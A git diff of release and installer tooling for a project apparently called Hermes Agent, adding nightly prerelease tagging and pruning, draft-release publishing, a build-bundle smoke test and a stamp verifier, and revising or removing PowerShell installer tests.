gh_repo: + gh_cmd += ["--repo", gh_repo] + result = subprocess.run( + gh_cmd, capture_output=True, text=True, encoding="utf-8", + errors="replace", cwd=str(REPO_ROOT), + ) + if result.returncode != 0: + print(f"✗ GitHub prerelease failed: {result.stderr.strip()}") + print(f" Notes kept at {changelog_file}; tag {tag_name} is pushed.") + sys.exit(1) + changelog_file.unlink(missing_ok=True) + print(f"✓ Nightly prerelease drafted: {result.stdout.strip()}") + # The build stages the installers to the R2 bucket and, for a nightly + # tag, publishes it when the whole matrix is green. + dispatch_desktop_build(tag_name, gh_repo) + # Record the tag for any workflow step that wants it. release.py + # starts the build itself, so nothing consumes this today; it stays + # because a step output is the cheap, conventional handle for "which + # tag did this run cut". + github_output = os.environ.get("GITHUB_OUTPUT") + if github_output: + with open(github_output, "a", encoding="utf-8") as f: + f.write(f"tag={tag_name}\n") + + +def prune_old_nightlies(args) -> None: + """--prune-nightlies: delete nightly releases+tags older than 14 days. + + Keep-on-doubt: any parse failure keeps the release. The keep window is + dated by the tag's own YYYYMMDD suffix, not the release timestamp, so + a re-published old tag never resets its clock. + """ + push_remote = resolve_push_remote(args.remote) + gh_repo = remote_github_repo(push_remote) + cutoff = (datetime.now(timezone.utc) - timedelta(days=14)).strftime("%Y%m%d") + + + tags = git("tag", "--list", "v[0-9]*-nightly.*", "--sort=-v:refname") + doomed = [] + for tag in (tags.split("\n") if tags else []): + m = _NIGHTLY_TAG_RE.fullmatch(tag) + # Compare on the DATE prefix only: the suffix may be 8 (legacy) or + # 14 (timestamped) digits, and a 14-digit string compared against + # an 8-digit cutoff would be decided by length, not by day. + # (_NIGHTLY_TAG_RE carries no capture group, so slice the suffix + # out of the tag itself.) + if m and tag.split("-nightly.", 1)[1][:8] < cutoff: + doomed.append(tag) + if not doomed: + print("✓ No nightlies older than 14 days.") + return + for tag in doomed: + if not args.publish: + print(f"Would delete {tag}") + continue + gh_cmd = ["gh", "release", "delete", tag, "--yes", "--cleanup-tag"] + if gh_repo: + gh_cmd += ["--repo", gh_repo] + result = subprocess.run( + gh_cmd, capture_output=True, text=True, encoding="utf-8", + errors="replace", cwd=str(REPO_ROOT), + ) + if result.returncode == 0: + print(f"✓ Deleted {tag}") + else: + print(f"⚠ Could not delete {tag}: {result.stderr.strip()}") + if not args.publish: + print("Dry run complete. To delete, add --publish") + + def main(): parser = argparse.ArgumentParser(description="Hermes Agent Release Tool") parser.add_argument("--bump", choices=["major", "minor", "patch"], help="Which semver component to bump") + parser.add_argument("--nightly", action="store_true", + help="Tag + publish today's nightly prerelease " + "(v.0-nightly.); no-op when " + "HEAD has no new commits since the last nightly") + parser.add_argument("--prune-nightlies", action="store_true", + help="Delete nightly releases+tags older than 14 days") parser.add_argument("--publish", action="store_true", help="Actually create the tag and GitHub release (otherwise dry run)") + parser.add_argument("--remote", type=str, + help="Git remote that receives the release push and the GitHub " + "release. Required with --publish when more than one remote " + "is configured; the single remote is used when only one exists.") parser.add_argument("--date", type=str, - help="Override CalVer date (format: YYYY.M.D)") + help="Override release date metadata (format: YYYY.M.D)") parser.add_argument("--first-release", action="store_true", help="Mark as first release (no previous tag expected)") parser.add_argument("--output", type=str, help="Write changelog to file instead of stdout") args = parser.parse_args() - # Determine CalVer date + if args.nightly and args.bump: + parser.error("--nightly and --bump are mutually exclusive") + if args.nightly: + cmd_nightly(args) + return + if args.prune_nightlies: + prune_old_nightlies(args) + return + + # Determine release-date metadata. if args.date: calver_date = args.date else: now = datetime.now() calver_date = f"{now.year}.{now.month}.{now.day}" - base_tag = f"v{calver_date}" - tag_name, calver_date = next_available_tag(base_tag) - if tag_name != base_tag: - print(f"Note: Tag {base_tag} already exists, using {tag_name}") - # Determine semver current_version = get_current_version() if args.bump: new_version = bump_version(current_version, args.bump) else: new_version = current_version + tag_name = release_tag_for_version(new_version) # Get previous tag prev_tag = get_last_tag() @@ -2528,7 +2946,7 @@ def main(): print(f"{'='*60}") print(" Hermes Agent Release Preview") print(f"{'='*60}") - print(f" CalVer tag: {tag_name}") + print(f" Release tag: {tag_name}") print(f" SemVer: v{current_version} → v{new_version}") print(f" Previous tag: {prev_tag or '(none — first release)'}") print(f" Commits: {len(commits)}") @@ -2551,17 +2969,22 @@ def main(): print(changelog) if args.publish: + # Resolve the destination FIRST: a wrong or ambiguous remote must + # fail before any commit or tag exists, not after. + push_remote = resolve_push_remote(args.remote) + gh_repo = remote_github_repo(push_remote) + print(f"\n{'='*60}") print(" Publishing release...") + print(f" Remote: {push_remote}" + (f" ({gh_repo})" if gh_repo else "")) print(f"{'='*60}") # Update version files if args.bump: - update_version_files(new_version, calver_date) + add_files = update_version_files(new_version, calver_date) print(f" ✓ Updated version files to v{new_version} ({calver_date})") # Commit version bump - add_files = [str(VERSION_FILE), str(PYPROJECT_FILE)] add_result = git_result("add", *add_files) if add_result.returncode != 0: print(f" ✗ Failed to stage version files: {add_result.stderr.strip()}") @@ -2585,24 +3008,43 @@ def main(): return print(f" ✓ Created tag {tag_name}") - # Push - push_result = git_result("push", "origin", "HEAD", "--tags") + # Push the tag WITH the branch. gh auto-creates a missing tag + # "from the latest state of the default branch", so the tag must + # exist on the remote before the release is created (--verify-tag + # below turns a failed push into a hard error rather than a + # release pinned to the wrong commit). + push_result = git_result("push", push_remote, "HEAD", "--tags") if push_result.returncode == 0: - print(" ✓ Pushed to origin") + print(f" ✓ Pushed to {push_remote}") else: - print(f" ✗ Failed to push to origin: {push_result.stderr.strip()}") + print(f" ✗ Failed to push to {push_remote}: {push_result.stderr.strip()}") print(" Continue manually after fixing access:") - print(" git push origin HEAD --tags") + print(f" git push {push_remote} HEAD --tags") - # Create GitHub release + # Create the GitHub release as a DRAFT (it carries the notes only), + # then start the desktop build. The build stages the installers and + # feed files to the R2 bucket and the finalize job publishes the + # feeds; the builds-table job renders the download links into this + # draft's body. Publishing now would expose an artifact-less + # release; a stable release is published by hand once the matrix + # is green. changelog_file = REPO_ROOT / ".release_notes.md" changelog_file.write_text(changelog, encoding="utf-8") gh_cmd = [ "gh", "release", "create", tag_name, + "--draft", + # Abort rather than let gh invent a tag: without this it creates + # a missing tag from the default branch's tip, so a failed tag + # push above would silently release a different commit. + "--verify-tag", "--title", f"Hermes Agent v{new_version} ({calver_date})", "--notes-file", str(changelog_file), ] + # Pin gh to the pushed remote's repo: gh's own default resolution + # can pick a different remote than the one the tag just landed on. + if gh_repo: + gh_cmd += ["--repo", gh_repo] gh_bin = shutil.which("gh") if gh_bin: @@ -2616,17 +3058,23 @@ def main(): if result and result.returncode == 0: changelog_file.unlink(missing_ok=True) - print(f" ✓ GitHub release created: {result.stdout.strip()}") - print(f"\n 🎉 Release v{new_version} ({tag_name}) published!") + print(f" ✓ GitHub draft release created: {result.stdout.strip()}") + dispatch_desktop_build(tag_name, gh_repo) + print(f"\n 🎉 Release v{new_version} ({tag_name}) drafted!") + print(" The Desktop Bundled Release workflow stages installers to the R2 bucket.") + print(" Publish once it is green:") + repo_flag = f" --repo {gh_repo}" if gh_repo else "" + print(f" gh release edit {tag_name}{repo_flag} --draft=false") else: if result is None: print(" ✗ GitHub release skipped: `gh` CLI not found.") else: print(f" ✗ GitHub release failed: {result.stderr.strip()}") print(f" Release notes kept at: {changelog_file}") - print(" Tag was created locally. Create the release manually:") + print(" Tag was created locally. Create the draft release manually:") + repo_flag = f" --repo {gh_repo}" if gh_repo else "" print( - f" gh release create {tag_name} --title 'Hermes Agent v{new_version} ({calver_date})' " + f" gh release create {tag_name}{repo_flag} --draft --title 'Hermes Agent v{new_version} ({calver_date})' " f"--notes-file .release_notes.md" ) print(f"\n ✓ Release v{new_version} ({tag_name}) prepared for manual publish.") diff --git a/scripts/smoke-payload.sh b/scripts/smoke-payload.sh new file mode 100644 index 0000000000..80a8a7faec --- /dev/null +++ b/scripts/smoke-payload.sh @@ -0,0 +1,55 @@ +#!/bin/bash +# Smoke-test a staged payload the way the DESKTOP spawns it (the self- +# relative CLI trampoline, which sets its own PYTHONPATH) plus the raw store +# python with an explicit PYTHONPATH (the legacy spawn). cwd at the staged +# repo, no network, lazy installs off. Usage: smoke-payload.sh +set -e +PAYLOAD="${1:?usage: smoke-payload.sh }" +cd "$PAYLOAD" + +PYTHON_ENTRY=$(node -e " + const f = require(process.argv[1] + '/tools/facts.json'); + console.log(f.packages.python.entry); +" "$PWD") +case "$(uname -s)" in + MINGW*|MSYS*|CYGWIN*) PY="$PWD/tools/$PYTHON_ENTRY/python.exe"; SP="$PWD/venv/Lib/site-packages" ;; + *) PY="$PWD/tools/$PYTHON_ENTRY/bin/python3"; SP="$PWD/venv/lib/python3.11/site-packages" ;; +esac + +[ -f "$PY" ] || { echo "FAIL: no store interpreter at $PY"; exit 1; } +[ -d "$SP" ] || { echo "FAIL: no venv site-packages at $SP"; exit 1; } +[ -f manifest.json ] || { echo "FAIL: no manifest.json"; exit 1; } +[ -f tools/facts.json ] || { echo "FAIL: no tools/facts.json"; exit 1; } + +TOOLS="$PWD/tools" +# native python must see a native path, not an MSYS one +command -v cygpath >/dev/null 2>&1 && TOOLS="$(cygpath -w "$TOOLS")" && SP="$(cygpath -w "$SP")" +# pm prints UTF-8 (✓/✗); Windows consoles default to cp1252 +export PYTHONUTF8=1 +cd hermes-agent + +echo "— store python boots + hermes_cli imports out of the payload —" +env -u PYTHONPATH -u PYTHONHOME \ + HERMES_RUNTIME_DIR="$TOOLS" HERMES_DISABLE_LAZY_INSTALLS=1 \ + PYTHONPATH="$SP" \ + "$PY" -c "import hermes_cli.config; import pm; print('imports ok')" + +echo "— hermes --version through the real entrypoint —" +env -u PYTHONPATH -u PYTHONHOME \ + HERMES_RUNTIME_DIR="$TOOLS" HERMES_DISABLE_LAZY_INSTALLS=1 \ + PYTHONPATH="$SP" \ + "$PY" -m hermes_cli.main --version + +echo "— the self-relative CLI trampoline boots with NO PYTHONPATH (it sets its own) —" +SHIM="../bin/hermes$(case "$(uname -s)" in MINGW*|MSYS*|CYGWIN*) echo .exe ;; esac)" +env -u PYTHONPATH -u PYTHONHOME \ + HERMES_RUNTIME_DIR="$TOOLS" HERMES_DISABLE_LAZY_INSTALLS=1 \ + "$SHIM" --version + +echo "— pm sees the staged tools —" +env -u PYTHONPATH -u PYTHONHOME \ + HERMES_RUNTIME_DIR="$TOOLS" HERMES_DISABLE_LAZY_INSTALLS=1 \ + PYTHONPATH="$SP" \ + "$PY" -m pm.cli doctor + +echo "SMOKE OK" diff --git a/scripts/tests/test-install-ps1-gitbash-compatibility.ps1 b/scripts/tests/test-install-ps1-gitbash-compatibility.ps1 deleted file mode 100644 index 802ecb25e2..0000000000 --- a/scripts/tests/test-install-ps1-gitbash-compatibility.ps1 +++ /dev/null @@ -1,120 +0,0 @@ -# Unit tests for install.ps1's Git Bash compatibility and Mandatory-ASLR -# guidance helpers. The installer itself is never executed: functions are -# extracted through the PowerShell AST to avoid downloads, PATH changes, or -# user-environment writes. - -$ErrorActionPreference = "Stop" -$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $MyInvocation.MyCommand.Path)) -$installScript = Join-Path $repoRoot "scripts\install.ps1" - -$failures = 0 -function Assert-Equal { - param($Expected, $Actual, [string]$Label) - if ($Expected -ne $Actual) { - Write-Host "FAIL: $Label" -ForegroundColor Red - Write-Host " expected: $Expected" - Write-Host " actual: $Actual" - $script:failures++ - } else { - Write-Host "OK: $Label" -ForegroundColor Green - } -} -function Assert-True { - param($Condition, [string]$Label) - if (-not $Condition) { - Write-Host "FAIL: $Label" -ForegroundColor Red - $script:failures++ - } else { - Write-Host "OK: $Label" -ForegroundColor Green - } -} - -$tokens = $null -$parseErrors = $null -$ast = [System.Management.Automation.Language.Parser]::ParseFile( - $installScript, [ref]$tokens, [ref]$parseErrors -) -if ($parseErrors.Count -gt 0) { - throw "install.ps1 has parse errors: $($parseErrors -join '; ')" -} - -foreach ($name in @( - "Test-GitBashCompatibility", - "Test-MandatoryAslrEnabled", - "Get-GitRootFromBashPath", - "New-GitBashAslrFailureReason", - "Stage-Git" -)) { - $fnAst = $ast.FindAll( - { - param($node) - $node -is [System.Management.Automation.Language.FunctionDefinitionAst] -and - $node.Name -eq $name - }, $true - ) | Select-Object -First 1 - if (-not $fnAst) { throw "$name not found in install.ps1" } - . ([scriptblock]::Create($fnAst.Extent.Text)) -} - -Write-Host "" -Write-Host "-- Git root resolution --" -Assert-Equal "C:\Program Files\Git" ` - (Get-GitRootFromBashPath "C:\Program Files\Git\bin\bash.exe") ` - "PortableGit/full Git bin layout" -Assert-Equal "C:\Program Files\Git" ` - (Get-GitRootFromBashPath "C:\Program Files\Git\usr\bin\bash.exe") ` - "usr/bin layout" - -Write-Host "" -Write-Host "-- Mandatory ASLR detection --" -function Get-ProcessMitigation { - param([switch]$System) - [pscustomobject]@{ Aslr = [pscustomobject]@{ ForceRelocateImages = "ON" } } -} -Assert-Equal $true (Test-MandatoryAslrEnabled) "ForceRelocateImages ON is detected" -function Get-ProcessMitigation { - param([switch]$System) - [pscustomobject]@{ Aslr = [pscustomobject]@{ ForceRelocateImages = "NOTSET" } } -} -Assert-Equal $false (Test-MandatoryAslrEnabled) "ForceRelocateImages NOTSET is not diagnosed" - -Write-Host "" -Write-Host "-- Actionable remediation --" -$reason = New-GitBashAslrFailureReason "C:\Program Files\Git\bin\bash.exe" -Assert-True ($reason -match "Mandatory ASLR") "reason identifies Mandatory ASLR" -Assert-True ($reason -match "Reinstalling Git will not change") "reason rejects ineffective reinstall" -Assert-True ($reason -match [regex]::Escape("C:\Program Files\Git")) "reason uses selected Git root" -Assert-True ($reason -match "Set-ProcessMitigation") "reason includes targeted mitigation command" - -Write-Host "" -Write-Host "-- External-program probe --" -$gitCommand = Get-Command git -ErrorAction SilentlyContinue -$gitBash = $null -if ($gitCommand -and $gitCommand.Source) { - $gitRoot = Split-Path (Split-Path $gitCommand.Source -Parent) -Parent - foreach ($candidate in @("$gitRoot\bin\bash.exe", "$gitRoot\usr\bin\bash.exe")) { - if (Test-Path -LiteralPath $candidate) { $gitBash = $candidate; break } - } -} -if ($gitBash) { - Assert-Equal $true (Test-GitBashCompatibility $gitBash) ` - "installed Git Bash launches external MSYS programs" -} else { - Write-Host "SKIP: no Git Bash found next to git.exe" -ForegroundColor Yellow -} - -Write-Host "" -Write-Host "-- Stage failure propagation --" -function Install-Git { return $false } -$script:GitInstallFailureReason = "specific Git Bash failure" -$stageError = $null -try { Stage-Git } catch { $stageError = $_.Exception.Message } -Assert-Equal "specific Git Bash failure" $stageError "Git stage preserves actionable reason" - -Write-Host "" -if ($failures -gt 0) { - Write-Host "FAILED: $failures assertion(s) failed" -ForegroundColor Red - exit 1 -} -Write-Host "All Git Bash compatibility tests passed." -ForegroundColor Green -exit 0 diff --git a/scripts/tests/test-install-ps1-longpath.ps1 b/scripts/tests/test-install-ps1-longpath.ps1 deleted file mode 100644 index 997738df80..0000000000 --- a/scripts/tests/test-install-ps1-longpath.ps1 +++ /dev/null @@ -1,323 +0,0 @@ -# Tests for install.ps1's 8.3 short-path normalization. -# -# Run from a PowerShell prompt: -# -# pwsh -NoProfile -ExecutionPolicy Bypass -File scripts/tests/test-install-ps1-longpath.ps1 -# -# Background: when the Windows profile folder's name contains a space -# ("First Last"), a dot ("Stone.ZEN8"), or an accented character, Windows can -# expose %TEMP%, %LOCALAPPDATA% and friends as an 8.3 alias -# (C:\Users\FIRST~1.LAS\...). PowerShell's FileSystem provider chokes on the -# aliased component once it reaches a provider cmdlet (Tee-Object -FilePath), -# aborting the Node/Electron stages and the desktop post-build probe. -# install.ps1 expands those paths up front; this asserts that contract. -# -# HOW THIS RUNS THE CODE: by executing install.ps1 as a real subprocess with a -# crafted environment and reading what it reports back. `-ProtocolVersion` is a -# side-effect-free early exit that sits BELOW the normalization block, so the -# whole block -- including the script-level Add-Type the kernel32 resolver -# needs -- executes exactly as it does during an install. Nothing here parses -# install.ps1's source (AGENTS.md bans source-reading tests: they pass on -# broken code and fail on correct refactors). -# -# HERMETIC ENVIRONMENT: every case sets all five profile variables explicitly. -# GitHub's own Windows runners hand down a genuinely 8.3-aliased TEMP/TMP -# (C:\Users\RUNNER~1\AppData\Local\Temp), so an inherited variable is a live -# instance of the very bug under test and would contaminate any case that -# didn't override it. -# -# Portability: resolver 3 (profile-root substitution) is pure path arithmetic, -# so the substitution assertions run everywhere, including non-Windows CI. The -# kernel32 and COM resolvers only have anything to expand on a real Windows -# volume; on other hosts they no-op and fall through, which is itself the -# graceful-degradation contract asserted below. - -$ErrorActionPreference = "Stop" -$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $MyInvocation.MyCommand.Path)) -$installScript = Join-Path $repoRoot "scripts/install.ps1" - -if (-not (Test-Path $installScript)) { - throw "Could not locate install.ps1 at $installScript" -} - -$failures = 0 -$script:lastRaw = '' - -function Assert-Equal { - param($Expected, $Actual, [Parameter(Mandatory = $true)][string]$Label) - if ($Expected -ne $Actual) { - Write-Host "FAIL: $Label" -ForegroundColor Red - Write-Host " expected: $Expected" - Write-Host " actual: $Actual" - if ($script:lastRaw) { - # The installer's own account of what it did, plus the environment - # it was handed. Without both, a failure on a host you cannot reach - # is pure guesswork. - Write-Host " installer reported: $script:lastRaw" - Write-Host " environment sent: $script:lastEnv" - } - $script:failures++ - } else { - Write-Host "OK: $Label" -ForegroundColor Green - } -} - -# --- Harness --------------------------------------------------------------- -# The real profile root the installer will substitute in, derived the same way -# install.ps1 derives it so these assertions hold on any host and any account. -$profileDir = [Environment]::GetFolderPath('UserProfile') -$usersDir = Split-Path -Parent $profileDir -$sep = [System.IO.Path]::DirectorySeparatorChar - -# Starting guess for the baseline environment; replaced by the probe below with -# whatever root the installer itself resolves. -$script:baseRoot = $profileDir - -# A profile alias that cannot resolve: no such folder exists, so kernel32 and -# COM both fail and only the profile-root substitution can handle it. -$shortProfile = Join-Path $usersDir 'FIRST~1.LAS' - -function Join-Parts { - # Join path segments with the platform separator. Literal forward slashes - # inside a path would make Split-Path's behavior host-dependent, which is - # noise this suite doesn't need. - param([string[]]$Parts) - return ($Parts -join $sep) -} - -# Ask install.ps1 what paths it resolves under a given environment. -# -# -ShowResolvedPaths prints a JSON object on STDOUT and exits without touching -# anything, so the whole normalization block -- including the script-level -# Add-Type the kernel32 resolver needs -- has already run by the time it is -# printed. Stdout, deliberately: three separate stderr capture mechanisms -# (ProcessStartInfo.RedirectStandardError, `2>$file`, and a merged `2>&1` -# pipeline) were each verified to come back EMPTY from the installer on a -# windows-latest runner while stdout arrived intact. The installer's human -# diagnostics still go to stderr; the machine-readable contract is on stdout, -# which is the only stream that survives everywhere. -# -# Environment overrides are applied to this process and restored afterwards, -# since that is what the child inherits. -function Invoke-Normalization { - param( - [hashtable]$Environment = @{}, - [string[]]$ExtraArgs = @() - ) - - # Start from a long, self-consistent profile so nothing is inherited; - # callers override only the variables their case is about. $script:baseRoot - # is the test's best guess until the probe below replaces it with the root - # the installer actually resolves. - $root = $script:baseRoot - $env0 = @{ - TEMP = (Join-Parts @($root, 'AppData', 'Local', 'Temp')) - TMP = (Join-Parts @($root, 'AppData', 'Local', 'Temp')) - LOCALAPPDATA = (Join-Parts @($root, 'AppData', 'Local')) - APPDATA = (Join-Parts @($root, 'AppData', 'Roaming')) - USERPROFILE = $root - HERMES_HOME = '' - } - foreach ($key in $Environment.Keys) { $env0[$key] = $Environment[$key] } - - $psExe = (Get-Process -Id $PID).Path - $outFile = [System.IO.Path]::GetTempFileName() - $errFile = [System.IO.Path]::GetTempFileName() - $saved = @{} - foreach ($key in $env0.Keys) { $saved[$key] = [Environment]::GetEnvironmentVariable($key) } - - try { - foreach ($key in $env0.Keys) { Set-Item -Path "Env:$key" -Value $env0[$key] } - $callArgs = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', $installScript) + $ExtraArgs + @('-ShowResolvedPaths') - # The call operator, not Start-Process: on Windows Start-Process does - # not hand the parent's modified environment block to the child, so the - # installer saw the runner's real TEMP instead of the aliased one this - # case sets, and every rewrite assertion came back "not rewritten". - # `&` inherits the environment on every host. - # - # stderr is merged into the same file rather than redirected separately: - # Windows PowerShell 5.1 wraps ANY stderr from a native command in a - # NativeCommandError record, and a bare `2>$file` still emits that - # record into this script's error stream, which fails the 5.1 lane even - # under 'Continue'. Merging with 2>&1 keeps the bytes and produces no - # error record. The installer's stdout here is a single JSON object and - # its diagnostics are all `[hermes] `-prefixed, so the two separate - # cleanly on the way back out. - $prevEAP = $ErrorActionPreference - $ErrorActionPreference = 'Continue' - $global:LASTEXITCODE = 0 - try { - & $psExe @callArgs *> $outFile - } finally { - $ErrorActionPreference = $prevEAP - } - $exitCode = $LASTEXITCODE - $raw = @(Get-Content -LiteralPath $outFile -ErrorAction SilentlyContinue) - $stderr = ($raw | Where-Object { $_ -like '`[hermes`]*' }) -join "`n" - $stdout = ($raw | Where-Object { $_ -notlike '`[hermes`]*' }) -join "`n" - } finally { - foreach ($key in $saved.Keys) { - if ($null -eq $saved[$key]) { - Remove-Item -LiteralPath "Env:$key" -ErrorAction SilentlyContinue - } else { - Set-Item -Path "Env:$key" -Value $saved[$key] - } - } - Remove-Item -LiteralPath $outFile, $errFile -Force -ErrorAction SilentlyContinue - } - - if ($null -eq $stdout) { $stdout = '' } - $stdout = $stdout.Trim() - $script:lastRaw = if ($stdout) { $stdout } else { '(child produced no stdout)' } - $script:lastEnv = ($env0.Keys | Sort-Object | ForEach-Object { "$_=$($env0[$_])" }) -join '; ' - - $paths = $null - if ($stdout) { - try { $paths = $stdout | ConvertFrom-Json } catch { $paths = $null } - } - - # normalized is an object keyed by variable name; flatten to a hashtable so - # callers can ask "was TEMP rewritten, and to what". - $rewrites = @{} - if ($paths -and $paths.normalized) { - foreach ($prop in $paths.normalized.PSObject.Properties) { - $rewrites[$prop.Name] = "$($prop.Value)" - } - } - - return @{ - ExitCode = $exitCode - Stdout = $stdout - Rewrites = $rewrites - InstallDir = $(if ($paths) { $paths.install_dir } else { $null }) - HermesHome = $(if ($paths) { $paths.hermes_home } else { $null }) - LongRoot = $(if ($paths) { $paths.long_profile_root } else { $null }) - } -} - -function Get-Rewrite { - # '' rather than $null for an untouched variable, so a failure prints - # something legible instead of a blank. - param($Result, [string]$Name) - if ($Result.Rewrites.ContainsKey($Name)) { return $Result.Rewrites[$Name] } - return '' -} - -# Ask the installer once, up front, which long root it resolves on this host, -# and assert every expectation against that. Deriving it independently in the -# test would only prove the two derivations agree, not that the fix works -- -# and on GitHub's Windows runners they don't agree, because the runner hands -# down a genuinely 8.3-aliased profile. -$probe = Invoke-Normalization @{ USERPROFILE = $shortProfile } -$longRoot = $probe.LongRoot - -Write-Host "" -Write-Host "-- the installer resolves a long profile root --" -if ([string]::IsNullOrEmpty($longRoot)) { - # Nothing below can mean anything without this, so show the child's whole - # output rather than leaving a bare assertion failure on an unreachable host. - Write-Host "FAIL: a long profile root is found" -ForegroundColor Red - Write-Host " probe exit code: $($probe.ExitCode)" - Write-Host " probe stdout: $($probe.Stdout)" - Write-Host " probe env: $script:lastEnv" - Write-Host " probe stdout (raw):" - foreach ($line in ($script:lastRaw -split "`r?`n")) { - if ($line.Trim()) { Write-Host " $line" } - } - Write-Host "FAILED: cannot continue without a long profile root" -ForegroundColor Red - exit 1 -} -Write-Host "OK: a long profile root is found ($longRoot)" -ForegroundColor Green -Assert-Equal -Expected $false -Actual ($longRoot -match '~\d') -Label "the resolved root carries no 8.3 alias" -# Every subsequent case's baseline is now the installer's own root, so a -# "nothing to expand" case really has nothing to expand even on a runner whose -# inherited profile is itself aliased. -$script:baseRoot = $longRoot - -Write-Host "" -Write-Host "-- normalization is a no-op for ordinary paths --" - -# A profile name with a space is NOT itself a short path; nothing to expand. -$result = Invoke-Normalization -Assert-Equal -Expected 0 -Actual $result.ExitCode -Label "long paths: install.ps1 still reaches its early exit" -Assert-Equal -Expected 0 -Actual $result.Rewrites.Count -Label "long paths: nothing rewritten" -Assert-Equal -Expected $false -Actual ($result.InstallDir -match '~\d') -Label "long paths: InstallDir passes through clean" - -Write-Host "" -Write-Host "-- an unresolvable profile alias is rebuilt on the long profile root --" - -# The reported failure: TEMP under an 8.3 profile alias that no resolver can -# expand (8dot3 disabled, or a stale alias). GH #52842, GH #57526. -$shortTemp = Join-Parts @($shortProfile, 'AppData', 'Local', 'Temp') -$expectedTemp = Join-Parts @($profileDir, 'AppData', 'Local', 'Temp') - -$result = Invoke-Normalization @{ TEMP = $shortTemp; TMP = $shortTemp } -Assert-Equal -Expected 0 -Actual $result.ExitCode -Label "short TEMP: install.ps1 still reaches its early exit" -$expectedTemp = "$longRoot${sep}AppData${sep}Local${sep}Temp" -Assert-Equal -Expected $expectedTemp -Actual (Get-Rewrite $result 'TEMP') -Label "short TEMP is rebuilt on the long profile root" -Assert-Equal -Expected $expectedTemp -Actual (Get-Rewrite $result 'TMP') -Label "short TMP is rebuilt on the long profile root" -Assert-Equal -Expected 2 -Actual $result.Rewrites.Count -Label "short TEMP: only the aliased variables are touched" - -# The profile root itself, with no tail to reattach. USERPROFILE is also where -# the installer looks first for a long root, so this exercises the fallback to -# HOMEDRIVE/HOMEPATH and %USERNAME%. -$result = Invoke-Normalization @{ USERPROFILE = $shortProfile } -Assert-Equal -Expected $longRoot -Actual (Get-Rewrite $result 'USERPROFILE') -Label "bare short profile root expands to the long root" - -Write-Host "" -Write-Host "-- every profile-rooted variable is covered, not just TEMP --" - -# The desktop stage derives InstallDir from %LOCALAPPDATA%; a short root there -# fails the post-build probe after the build already succeeded (GH #52842). -$result = Invoke-Normalization @{ - TEMP = $shortTemp - TMP = $shortTemp - LOCALAPPDATA = (Join-Parts @($shortProfile, 'AppData', 'Local')) - APPDATA = (Join-Parts @($shortProfile, 'AppData', 'Roaming')) - USERPROFILE = $shortProfile -} -foreach ($name in @('TEMP', 'TMP', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE')) { - $value = Get-Rewrite $result $name - # Assert it was rewritten AND that the result is clean. Checking only for - # the absence of a tilde passes vacuously on a variable nothing touched. - Assert-Equal -Expected $true -Actual ($value.StartsWith($longRoot)) -Label "$name is rebuilt on the long profile root" - Assert-Equal -Expected $false -Actual ($value -match '~\d') -Label "$name no longer carries an 8.3 alias" -} - -# ...and the install paths derived from them are re-derived, not left short. -# This is the difference between "the build works" and "the installer stops -# claiming a successful build failed". Composed with literal backslashes -# because that is how install.ps1 itself builds the default Windows path. -$expectedInstallDir = "$($longRoot)${sep}AppData${sep}Local" + '\hermes\hermes-agent' -Assert-Equal -Expected $expectedInstallDir -Actual $result.InstallDir -Label "InstallDir is re-derived from the long LOCALAPPDATA" - -Write-Host "" -Write-Host "-- substitution is scoped to the profile folder --" - -# We can only prove the long spelling of the profile root itself. A short -# component anywhere else must be left exactly as the caller set it. -$belowProfile = Join-Parts @($profileDir, 'DEEPLY~1', 'Temp') -$result = Invoke-Normalization @{ TEMP = $belowProfile; TMP = $belowProfile } -Assert-Equal -Expected '' -Actual (Get-Rewrite $result 'TEMP') -Label "a short component below the profile root is left alone" - -# A custom TEMP on another volume has no profile root to substitute. -$otherVolume = Join-Parts @("D:", 'SHORT~1', 'Temp') -$result = Invoke-Normalization @{ TEMP = $otherVolume; TMP = $otherVolume } -Assert-Equal -Expected '' -Actual (Get-Rewrite $result 'TEMP') -Label "short TEMP outside the profile is left alone" - -Write-Host "" -Write-Host "-- an explicit -InstallDir is normalized, never replaced --" - -$result = Invoke-Normalization -Environment @{ TEMP = $shortTemp; TMP = $shortTemp } ` - -ExtraArgs @('-InstallDir', (Join-Path $shortProfile 'custom-hermes')) -Assert-Equal -Expected (Join-Path $longRoot 'custom-hermes') -Actual $result.InstallDir -Label "explicit -InstallDir keeps the caller's directory, on the long root" - -# --- Summary --------------------------------------------------------------- -Write-Host "" -if ($failures -gt 0) { - Write-Host "FAILED: $failures assertion(s) failed" -ForegroundColor Red - exit 1 -} else { - Write-Host "All 8.3 short-path normalization tests passed." -ForegroundColor Green - exit 0 -} diff --git a/scripts/tests/test-install-ps1-stage-protocol.ps1 b/scripts/tests/test-install-ps1-stage-protocol.ps1 index b8fa5271ce..8358fad511 100644 --- a/scripts/tests/test-install-ps1-stage-protocol.ps1 +++ b/scripts/tests/test-install-ps1-stage-protocol.ps1 @@ -89,13 +89,13 @@ if ($manifest) { # Specific stage names that the GUI driver will rely on $names = $manifest.stages | ForEach-Object { $_.name } - foreach ($expected in @("uv", "python", "git", "venv", "dependencies", "configure", "gateway")) { + foreach ($expected in @("prerequisites", "repository", "venv", "python-deps", "path", "config", "setup", "gateway", "complete")) { Assert-True ($names -contains $expected) -Label "manifest contains stage '$expected'" } # The two known-interactive stages must declare needs_user_input $interactive = $manifest.stages | Where-Object { $_.needs_user_input } | ForEach-Object { $_.name } - Assert-True ($interactive -contains "configure") -Label "'configure' stage flagged needs_user_input" + Assert-True ($interactive -contains "setup") -Label "'setup' stage flagged needs_user_input" Assert-True ($interactive -contains "gateway") -Label "'gateway' stage flagged needs_user_input" } diff --git a/scripts/verify-bootstrap-version-stamp.py b/scripts/verify-bootstrap-version-stamp.py new file mode 100644 index 0000000000..e14b135d47 --- /dev/null +++ b/scripts/verify-bootstrap-version-stamp.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python3 +"""Verify the version stamp a bootstrap installer ships. + +The bootstrap installers (scripts/install.sh, scripts/install.ps1) finish +with a ``complete`` stage that writes ``.hermes-bootstrap-complete`` into the +install dir: ``{"schemaVersion": 1, "pinnedCommit": <40-hex sha>, +"pinnedBranch": , "completedAt": }``. That stamp is what +update tooling and support triage read back, so it must tell the truth about +the bytes actually checked out. + +This script reads a stamp back and cross-checks it against the installed +checkout it describes: + +* ``schemaVersion`` is 1 +* 